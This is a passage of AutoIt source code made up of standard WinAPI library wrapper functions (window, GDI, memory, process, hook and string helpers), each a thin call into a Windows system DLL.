  1557. EndFunc
  1558.  
  1559. Func _winapi_getwindowwidth($hwnd)
  1560.     Local $trect = _winapi_getwindowrect($hwnd)
  1561.     If @error Then Return SetError(@error, @extended, 0)
  1562.     Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  1563. EndFunc
  1564.  
  1565. Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
  1566.     $ix = DllStructGetData($tpoint, "X")
  1567.     $iy = DllStructGetData($tpoint, "Y")
  1568. EndFunc
  1569.  
  1570. Func _winapi_globalmemorystatus()
  1571.     Local $tmem = DllStructCreate($tagmemorystatusex)
  1572.     Local $pmem = DllStructGetPtr($tmem)
  1573.     Local $imem = DllStructGetSize($tmem)
  1574.     DllStructSetData($tmem, 1, $imem)
  1575.     DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $pmem)
  1576.     If @error Then Return SetError(@error, @extended, 0)
  1577.     Local $amem[7]
  1578.     $amem[0] = DllStructGetData($tmem, 2)
  1579.     $amem[1] = DllStructGetData($tmem, 3)
  1580.     $amem[2] = DllStructGetData($tmem, 4)
  1581.     $amem[3] = DllStructGetData($tmem, 5)
  1582.     $amem[4] = DllStructGetData($tmem, 6)
  1583.     $amem[5] = DllStructGetData($tmem, 7)
  1584.     $amem[6] = DllStructGetData($tmem, 8)
  1585.     Return $amem
  1586. EndFunc
  1587.  
  1588. Func _winapi_guidfromstring($sguid)
  1589.     Local $tguid = DllStructCreate($tagguid)
  1590.     _winapi_guidfromstringex($sguid, DllStructGetPtr($tguid))
  1591.     If @error Then Return SetError(@error, @extended, 0)
  1592.     Return $tguid
  1593. EndFunc
  1594.  
  1595. Func _winapi_guidfromstringex($sguid, $pguid)
  1596.     Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "ptr", $pguid)
  1597.     If @error Then Return SetError(@error, @extended, False)
  1598.     Return $aresult[0]
  1599. EndFunc
  1600.  
  1601. Func _winapi_hiword($ilong)
  1602.     Return BitShift($ilong, 16)
  1603. EndFunc
  1604.  
  1605. Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
  1606.     If $hwnd = $hlastwnd Then Return True
  1607.     For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
  1608.         If $hwnd = $__gainprocess_winapi[$ii][0] Then
  1609.             If $__gainprocess_winapi[$ii][1] Then
  1610.                 $hlastwnd = $hwnd
  1611.                 Return True
  1612.             Else
  1613.                 Return False
  1614.             EndIf
  1615.         EndIf
  1616.     Next
  1617.     Local $iprocessid
  1618.     _winapi_getwindowthreadprocessid($hwnd, $iprocessid)
  1619.     Local $icount = $__gainprocess_winapi[0][0] + 1
  1620.     If $icount >= 64 Then $icount = 1
  1621.     $__gainprocess_winapi[0][0] = $icount
  1622.     $__gainprocess_winapi[$icount][0] = $hwnd
  1623.     $__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
  1624.     Return $__gainprocess_winapi[$icount][1]
  1625. EndFunc
  1626.  
  1627. Func _winapi_inttofloat($iint)
  1628.     Local $tint = DllStructCreate("int")
  1629.     Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
  1630.     DllStructSetData($tint, 1, $iint)
  1631.     Return DllStructGetData($tfloat, 1)
  1632. EndFunc
  1633.  
  1634. Func _winapi_isclassname($hwnd, $sclassname)
  1635.     Local $sseparator = Opt("GUIDataSeparatorChar")
  1636.     Local $aclassname = StringSplit($sclassname, $sseparator)
  1637.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  1638.     Local $sclasscheck = _winapi_getclassname($hwnd)
  1639.     For $x = 1 To UBound($aclassname) - 1
  1640.         If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
  1641.     Next
  1642.     Return False
  1643. EndFunc
  1644.  
  1645. Func _winapi_iswindow($hwnd)
  1646.     Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
  1647.     If @error Then Return SetError(@error, @extended, 0)
  1648.     Return $aresult[0]
  1649. EndFunc
  1650.  
  1651. Func _winapi_iswindowvisible($hwnd)
  1652.     Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
  1653.     If @error Then Return SetError(@error, @extended, 0)
  1654.     Return $aresult[0]
  1655. EndFunc
  1656.  
  1657. Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True)
  1658.     Local $prect = 0
  1659.     If IsDllStruct($trect) Then $prect = DllStructGetPtr($trect)
  1660.     Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "ptr", $prect, "bool", $ferase)
  1661.     If @error Then Return SetError(@error, @extended, False)
  1662.     Return $aresult[0]
  1663. EndFunc
  1664.  
  1665. Func _winapi_lineto($hdc, $ix, $iy)
  1666.     Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
  1667.     If @error Then Return SetError(@error, @extended, False)
  1668.     Return $aresult[0]
  1669. EndFunc
  1670.  
  1671. Func _winapi_loadbitmap($hinstance, $sbitmap)
  1672.     Local $sbitmaptype = "int"
  1673.     If IsString($sbitmap) Then $sbitmaptype = "wstr"
  1674.     Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
  1675.     If @error Then Return SetError(@error, @extended, 0)
  1676.     Return $aresult[0]
  1677. EndFunc
  1678.  
  1679. Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
  1680.     Local $aresult, $simagetype = "int"
  1681.     If IsString($simage) Then $simagetype = "wstr"
  1682.     $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
  1683.     If @error Then Return SetError(@error, @extended, 0)
  1684.     Return $aresult[0]
  1685. EndFunc
  1686.  
  1687. Func _winapi_loadlibrary($sfilename)
  1688.     Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
  1689.     If @error Then Return SetError(@error, @extended, 0)
  1690.     Return $aresult[0]
  1691. EndFunc
  1692.  
  1693. Func _winapi_loadlibraryex($sfilename, $iflags = 0)
  1694.     Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
  1695.     If @error Then Return SetError(@error, @extended, 0)
  1696.     Return $aresult[0]
  1697. EndFunc
  1698.  
  1699. Func _winapi_loadshell32icon($iiconid)
  1700.     Local $ticons = DllStructCreate("ptr Data")
  1701.     Local $picons = DllStructGetPtr($ticons)
  1702.     Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $picons, 1)
  1703.     If @error Then Return SetError(@error, @extended, 0)
  1704.     If $iicons <= 0 Then Return SetError(1, 0, 0)
  1705.     Return DllStructGetData($ticons, "Data")
  1706. EndFunc
  1707.  
  1708. Func _winapi_loadstring($hinstance, $istringid)
  1709.     Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
  1710.     If @error Then Return SetError(@error, @extended, "")
  1711.     Return SetExtended($aresult[0], $aresult[3])
  1712. EndFunc
  1713.  
  1714. Func _winapi_localfree($hmem)
  1715.     Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
  1716.     If @error Then Return SetError(@error, @extended, False)
  1717.     Return $aresult[0]
  1718. EndFunc
  1719.  
  1720. Func _winapi_loword($ilong)
  1721.     Return BitAND($ilong, 65535)
  1722. EndFunc
  1723.  
  1724. Func _winapi_makelangid($lgidprimary, $lgidsub)
  1725.     Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
  1726. EndFunc
  1727.  
  1728. Func _winapi_makelcid($lgid, $srtid)
  1729.     Return BitOR(BitShift($srtid, -16), $lgid)
  1730. EndFunc
  1731.  
  1732. Func _winapi_makelong($ilo, $ihi)
  1733.     Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
  1734. EndFunc
  1735.  
  1736. Func _winapi_makeqword($lodword, $hidword)
  1737.     Local $tint64 = DllStructCreate("uint64")
  1738.     Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
  1739.     DllStructSetData($tdwords, 1, $lodword)
  1740.     DllStructSetData($tdwords, 2, $hidword)
  1741.     Return DllStructGetData($tint64, 1)
  1742. EndFunc
  1743.  
  1744. Func _winapi_messagebeep($itype = 1)
  1745.     Local $isound
  1746.     Switch $itype
  1747.         Case 1
  1748.             $isound = 0
  1749.         Case 2
  1750.             $isound = 16
  1751.         Case 3
  1752.             $isound = 32
  1753.         Case 4
  1754.             $isound = 48
  1755.         Case 5
  1756.             $isound = 64
  1757.         Case Else
  1758.             $isound = -1
  1759.     EndSwitch
  1760.     Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
  1761.     If @error Then Return SetError(@error, @extended, False)
  1762.     Return $aresult[0]
  1763. EndFunc
  1764.  
  1765. Func _winapi_msgbox($iflags, $stitle, $stext)
  1766.     BlockInput(0)
  1767.     MsgBox($iflags, $stitle, $stext & "      ")
  1768. EndFunc
  1769.  
  1770. Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
  1771.     DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
  1772.     If @error Then Return SetError(@error, @extended)
  1773. EndFunc
  1774.  
  1775. Func _winapi_moveto($hdc, $ix, $iy)
  1776.     Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
  1777.     If @error Then Return SetError(@error, @extended, False)
  1778.     Return $aresult[0]
  1779. EndFunc
  1780.  
  1781. Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True)
  1782.     Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint)
  1783.     If @error Then Return SetError(@error, @extended, False)
  1784.     Return $aresult[0]
  1785. EndFunc
  1786.  
  1787. Func _winapi_muldiv($inumber, $inumerator, $idenominator)
  1788.     Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
  1789.     If @error Then Return SetError(@error, @extended, -1)
  1790.     Return $aresult[0]
  1791. EndFunc
  1792.  
  1793. Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
  1794.     Local $stexttype = "ptr", $ptext = $stext
  1795.     If IsDllStruct($stext) Then
  1796.         $ptext = DllStructGetPtr($stext)
  1797.     Else
  1798.         If NOT IsPtr($stext) Then $stexttype = "STR"
  1799.     EndIf
  1800.     Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $ptext, "int", -1, "ptr", 0, "int", 0)
  1801.     If @error Then Return SetError(@error, @extended, 0)
  1802.     Local $iout = $aresult[0]
  1803.     Local $tout = DllStructCreate("wchar[" & $iout & "]")
  1804.     Local $pout = DllStructGetPtr($tout)
  1805.     $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $ptext, "int", -1, "ptr", $pout, "int", $iout)
  1806.     If @error Then Return SetError(@error, @extended, 0)
  1807.     If $bretstring Then Return DllStructGetData($tout, 1)
  1808.     Return $tout
  1809. EndFunc
  1810.  
  1811. Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
  1812.     Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "ptr", $ptext, "int", (StringLen($stext) + 1) * 2)
  1813.     If @error Then Return SetError(@error, @extended, False)
  1814.     Return $aresult[0]
  1815. EndFunc
  1816.  
  1817. Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
  1818.     Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  1819.     If @error Then Return SetError(@error, @extended, 0)
  1820.     If $aresult[0] Then Return $aresult[0]
  1821.     If NOT $fdebugpriv Then Return 0
  1822.     Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  1823.     If @error Then Return SetError(@error, @extended, 0)
  1824.     _security__setprivilege($htoken, "SeDebugPrivilege", True)
  1825.     Local $ierror = @error
  1826.     Local $ilasterror = @extended
  1827.     Local $iret = 0
  1828.     If NOT @error Then
  1829.         $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  1830.         $ierror = @error
  1831.         $ilasterror = @extended
  1832.         If $aresult[0] Then $iret = $aresult[0]
  1833.         _security__setprivilege($htoken, "SeDebugPrivilege", False)
  1834.         If @error Then
  1835.             $ierror = @error
  1836.             $ilasterror = @extended
  1837.         EndIf
  1838.     EndIf
  1839.     _winapi_closehandle($htoken)
  1840.     Return SetError($ierror, $ilasterror, $iret)
  1841. EndFunc
  1842.  
  1843. Func __winapi_parsefiledialogpath($spath)
  1844.     Local $afiles[3]
  1845.     $afiles[0] = 2
  1846.     Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
  1847.     $afiles[1] = $stemp
  1848.     $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
  1849.     Return $afiles
  1850. EndFunc
  1851.  
  1852. Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF)
  1853.     Local $iextracount = 0
  1854.     If IsString($aextrapaths) Then
  1855.         If StringLen($aextrapaths) Then
  1856.             $aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2)
  1857.             $iextracount = UBound($aextrapaths, 1)
  1858.         EndIf
  1859.     ElseIf IsArray($aextrapaths) Then
  1860.         $iextracount = UBound($aextrapaths)
  1861.     EndIf
  1862.     Local $tpaths, $tpathptrs
  1863.     If $iextracount Then
  1864.         Local $szstruct = ""
  1865.         For $path In $aextrapaths
  1866.             $szstruct &= "wchar[" & StringLen($path) + 1 & "];"
  1867.         Next
  1868.         $tpaths = DllStructCreate($szstruct)
  1869.         $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
  1870.         For $i = 1 To $iextracount
  1871.             DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
  1872.             DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
  1873.         Next
  1874.         DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
  1875.     EndIf
  1876.     Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "ptr", DllStructGetPtr($tpathptrs))
  1877.     If @error Then Return SetError(@error, @extended, False)
  1878.     If $aresult[0] = 0 Then Return SetError(1, 0, $szfile)
  1879.     Return $aresult[1]
  1880. EndFunc
  1881.  
  1882. Func _winapi_pointfromrect(ByRef $trect, $fcenter = True)
  1883.     Local $ix1 = DllStructGetData($trect, "Left")
  1884.     Local $iy1 = DllStructGetData($trect, "Top")
  1885.     Local $ix2 = DllStructGetData($trect, "Right")
  1886.     Local $iy2 = DllStructGetData($trect, "Bottom")
  1887.     If $fcenter Then
  1888.         $ix1 = $ix1 + (($ix2 - $ix1) / 2)
  1889.         $iy1 = $iy1 + (($iy2 - $iy1) / 2)
  1890.     EndIf
  1891.     Local $tpoint = DllStructCreate($tagpoint)
  1892.     DllStructSetData($tpoint, "X", $ix1)
  1893.     DllStructSetData($tpoint, "Y", $iy1)
  1894.     Return $tpoint
  1895. EndFunc
  1896.  
  1897. Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
  1898.     Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
  1899.     If @error Then Return SetError(@error, @extended, False)
  1900.     Return $aresult[0]
  1901. EndFunc
  1902.  
  1903. Func _winapi_primarylangid($lgid)
  1904.     Return BitAND($lgid, 1023)
  1905. EndFunc
  1906.  
  1907. Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
  1908.     Local $ix = DllStructGetData($tpoint, "X")
  1909.     Local $iy = DllStructGetData($tpoint, "Y")
  1910.     Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "ptr", DllStructGetPtr($trect), "long", $ix, "long", $iy)
  1911.     If @error Then Return SetError(@error, @extended, False)
  1912.     Return $aresult[0]
  1913. EndFunc
  1914.  
  1915. Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
  1916.     Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
  1917.     If @error Then Return SetError(@error, @extended, False)
  1918.     $iread = $aresult[4]
  1919.     Return $aresult[0]
  1920. EndFunc
  1921.  
  1922. Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
  1923.     Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  1924.     If @error Then Return SetError(@error, @extended, False)
  1925.     $iread = $aresult[5]
  1926.     Return $aresult[0]
  1927. EndFunc
  1928.  
  1929. Func _winapi_rectisempty(ByRef $trect)
  1930.     Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
  1931. EndFunc
  1932.  
  1933. Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
  1934.     Local $prect = 0
  1935.     If $trect <> 0 Then $prect = DllStructGetPtr($trect)
  1936.     Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "ptr", $prect, "handle", $hregion, "uint", $iflags)
  1937.     If @error Then Return SetError(@error, @extended, False)
  1938.     Return $aresult[0]
  1939. EndFunc
  1940.  
  1941. Func _winapi_registerwindowmessage($smessage)
  1942.     Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
  1943.     If @error Then Return SetError(@error, @extended, 0)
  1944.     Return $aresult[0]
  1945. EndFunc
  1946.  
  1947. Func _winapi_releasecapture()
  1948.     Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
  1949.     If @error Then Return SetError(@error, @extended, False)
  1950.     Return $aresult[0]
  1951. EndFunc
  1952.  
  1953. Func _winapi_releasedc($hwnd, $hdc)
  1954.     Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  1955.     If @error Then Return SetError(@error, @extended, False)
  1956.     Return $aresult[0]
  1957. EndFunc
  1958.  
  1959. Func _winapi_screentoclient($hwnd, ByRef $tpoint)
  1960.     Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "ptr", DllStructGetPtr($tpoint))
  1961.     If @error Then Return SetError(@error, @extended, False)
  1962.     Return $aresult[0]
  1963. EndFunc
  1964.  
  1965. Func _winapi_selectobject($hdc, $hgdiobj)
  1966.     Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
  1967.     If @error Then Return SetError(@error, @extended, False)
  1968.     Return $aresult[0]
  1969. EndFunc
  1970.  
  1971. Func _winapi_setbkcolor($hdc, $icolor)
  1972.     Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor)
  1973.     If @error Then Return SetError(@error, @extended, -1)
  1974.     Return $aresult[0]
  1975. EndFunc
  1976.  
  1977. Func _winapi_setbkmode($hdc, $ibkmode)
  1978.     Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
  1979.     If @error Then Return SetError(@error, @extended, 0)
  1980.     Return $aresult[0]
  1981. EndFunc
  1982.  
  1983. Func _winapi_setcapture($hwnd)
  1984.     Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
  1985.     If @error Then Return SetError(@error, @extended, 0)
  1986.     Return $aresult[0]
  1987. EndFunc
  1988.  
  1989. Func _winapi_setcursor($hcursor)
  1990.     Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
  1991.     If @error Then Return SetError(@error, @extended, 0)
  1992.     Return $aresult[0]
  1993. EndFunc
  1994.  
  1995. Func _winapi_setdefaultprinter($sprinter)
  1996.     Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
  1997.     If @error Then Return SetError(@error, @extended, False)
  1998.     Return $aresult[0]
  1999. EndFunc
  2000.  
  2001. Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
  2002.     Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse)
  2003.     If @error Then Return SetError(@error, @extended, False)
  2004.     Return $aresult[0]
  2005. EndFunc
  2006.  
  2007. Func _winapi_setendoffile($hfile)
  2008.     Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
  2009.     If @error Then Return SetError(@error, @extended, False)
  2010.     Return $aresult[0]
  2011. EndFunc
  2012.  
  2013. Func _winapi_setevent($hevent)
  2014.     Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
  2015.     If @error Then Return SetError(@error, @extended, False)
  2016.     Return $aresult[0]
  2017. EndFunc
  2018.  
  2019. Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
  2020.     Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
  2021.     If @error Then Return SetError(@error, @extended, -1)
  2022.     Return $aresult[0]
  2023. EndFunc
  2024.  
  2025. Func _winapi_setfocus($hwnd)
  2026.     Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
  2027.     If @error Then Return SetError(@error, @extended, 0)
  2028.     Return $aresult[0]
  2029. EndFunc
  2030.  
  2031. Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
  2032.     _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd")
  2033. EndFunc
  2034.  
  2035. Func _winapi_sethandleinformation($hobject, $imask, $iflags)
  2036.     Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
  2037.     If @error Then Return SetError(@error, @extended, False)
  2038.     Return $aresult[0]
  2039. EndFunc
  2040.  
  2041. Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False)
  2042.     If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
  2043.     If NOT $iscolorref Then
  2044.         $i_transcolor = Hex(String($i_transcolor), 6)
  2045.         $i_transcolor = Execute("0x00" & StringMid($i_transcolor, 5, 2) & StringMid($i_transcolor, 3, 2) & StringMid($i_transcolor, 1, 2))
  2046.     EndIf
  2047.     Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags)
  2048.     If @error Then Return SetError(@error, @extended, False)
  2049.     Return $aresult[0]
  2050. EndFunc
  2051.  
  2052. Func _winapi_setparent($hwndchild, $hwndparent)
  2053.     Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
  2054.     If @error Then Return SetError(@error, @extended, 0)
  2055.     Return $aresult[0]
  2056. EndFunc
  2057.  
  2058. Func _winapi_setprocessaffinitymask($hprocess, $imask)
  2059.     Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
  2060.     If @error Then Return SetError(@error, @extended, False)
  2061.     Return $aresult[0]
  2062. EndFunc
  2063.  
  2064. Func _winapi_setsyscolors($velements, $vcolors)
  2065.     Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors)
  2066.     Local $ielementnum
  2067.     If NOT $iscarray AND NOT $isearray Then
  2068.         $ielementnum = 1
  2069.     ElseIf $iscarray OR $isearray Then
  2070.         If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False)
  2071.         If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
  2072.         $ielementnum = UBound($velements)
  2073.     EndIf
  2074.     Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
  2075.     Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]")
  2076.     Local $pelements = DllStructGetPtr($telements)
  2077.     Local $pcolors = DllStructGetPtr($tcolors)
  2078.     If NOT $isearray Then
  2079.         DllStructSetData($telements, "Element", $velements, 1)
  2080.     Else
  2081.         For $x = 0 To $ielementnum - 1
  2082.             DllStructSetData($telements, "Element", $velements[$x], $x + 1)
  2083.         Next
  2084.     EndIf
  2085.     If NOT $iscarray Then
  2086.         DllStructSetData($tcolors, "NewColor", $vcolors, 1)
  2087.     Else
  2088.         For $x = 0 To $ielementnum - 1
  2089.             DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
  2090.         Next
  2091.     EndIf
  2092.     Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "ptr", $pelements, "ptr", $pcolors)
  2093.     If @error Then Return SetError(@error, @extended, False)
  2094.     Return $aresult[0]
  2095. EndFunc
  2096.  
  2097. Func _winapi_settextcolor($hdc, $icolor)
  2098.     Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor)
  2099.     If @error Then Return SetError(@error, @extended, -1)
  2100.     Return $aresult[0]
  2101. EndFunc
  2102.  
  2103. Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
  2104.     _winapi_setlasterror(0)
  2105.     Local $sfuncname = "SetWindowLongW"
  2106.     If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
  2107.     Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
  2108.     If @error Then Return SetError(@error, @extended, 0)
  2109.     Return $aresult[0]
  2110. EndFunc
  2111.  
  2112. Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
  2113.     Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
  2114.     If @error Then Return SetError(@error, @extended, False)
  2115.     Return $aresult[0]
  2116. EndFunc
  2117.  
  2118. Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
  2119.     Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
  2120.     If @error Then Return SetError(@error, @extended, False)
  2121.     Return $aresult[0]
  2122. EndFunc
  2123.  
  2124. Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
  2125.     Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
  2126.     If @error Then Return SetError(@error, @extended, False)
  2127.     Return $aresult[0]
  2128. EndFunc
  2129.  
  2130. Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
  2131.     Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
  2132.     If @error Then Return SetError(@error, @extended, 0)
  2133.     Return $aresult[0]
  2134. EndFunc
  2135.  
  2136. Func _winapi_setwindowtext($hwnd, $stext)
  2137.     Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
  2138.     If @error Then Return SetError(@error, @extended, False)
  2139.     Return $aresult[0]
  2140. EndFunc
  2141.  
  2142. Func _winapi_showcursor($fshow)
  2143.     Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow)
  2144.     If @error Then Return SetError(@error, @extended, 0)
  2145.     Return $aresult[0]
  2146. EndFunc
  2147.  
  2148. Func _winapi_showerror($stext, $fexit = True)
  2149.     _winapi_msgbox(266256, "Error", $stext)
  2150.     If $fexit Then Exit
  2151. EndFunc
  2152.  
  2153. Func _winapi_showmsg($stext)
  2154.     _winapi_msgbox(64 + 4096, "Information", $stext)
  2155. EndFunc
  2156.  
  2157. Func _winapi_showwindow($hwnd, $icmdshow = 5)
  2158.     Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
  2159.     If @error Then Return SetError(@error, @extended, False)
  2160.     Return $aresult[0]
  2161. EndFunc
  2162.  
  2163. Func _winapi_stringfromguid($pguid)
  2164.     Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "ptr", $pguid, "wstr", "", "int", 40)
  2165.     If @error Then Return SetError(@error, @extended, "")
  2166.     Return SetExtended($aresult[0], $aresult[2])
  2167. EndFunc
  2168.  
  2169. Func _winapi_sublangid($lgid)
